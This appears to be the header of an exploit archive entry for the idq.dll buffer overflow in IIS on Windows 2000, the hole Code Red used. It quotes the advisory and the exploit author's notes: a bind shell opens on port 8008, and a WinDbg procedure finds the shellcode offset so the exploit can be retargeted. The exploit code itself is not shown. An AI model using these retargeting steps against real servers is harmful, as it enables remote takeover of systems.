Description: Microsoft Index Server 2.0 / Indexing Service (Windows 2000) - ISAPI Extension Buffer Overflow (3)
Type: remote
Platform: windows

# source: https://www.securityfocus.com/bid/2880/info
#   
# Windows Index Server ships with Windows NT 4.0 Option Pack; Windows Indexing Service ships with Windows 2000. An unchecked buffer resides in the 'idq.dll' ISAPI extension associated with each service. A maliciously crafted request could allow arbitrary code to run on the host in the Local System context.
#   
# Note that Index Server and Indexing Service do not need to be running for an attacker to exploit this issue. Since 'idq.dll' is installed by default when IIS is installed, IIS would need to be the only service running.
#   
# Note also that this vulnerability is currently being exploited by the 'Code Red' worm. In addition, all products that run affected versions of IIS are also vulnerable.

#
# If this exploit succeeds, you can get into the machine through port 8008
# shellcode generated by DeepZone generator
# I only tested this code under W2k Korean Version, so the offset value may vary through systems, you can get the offset value with WinDbg tool included in Windows SDK
#
# How to get the offset:
# 1. start windbg and attach to inetinfo.exe process. and go(F5)
# 2. using this script attack the test machine
# 3. if the offset in this script is not valid, then inetinfo.exe will be got break.
# 4. you can search the shellcode position with following command
#     s 10000 Lfffff 0x68 0x5e 0x56 0xc3 0x90
# 5. if the shellcode position is 0xaabbccdd
#    then you can change the %u...%u...to %uccdd%uaabb
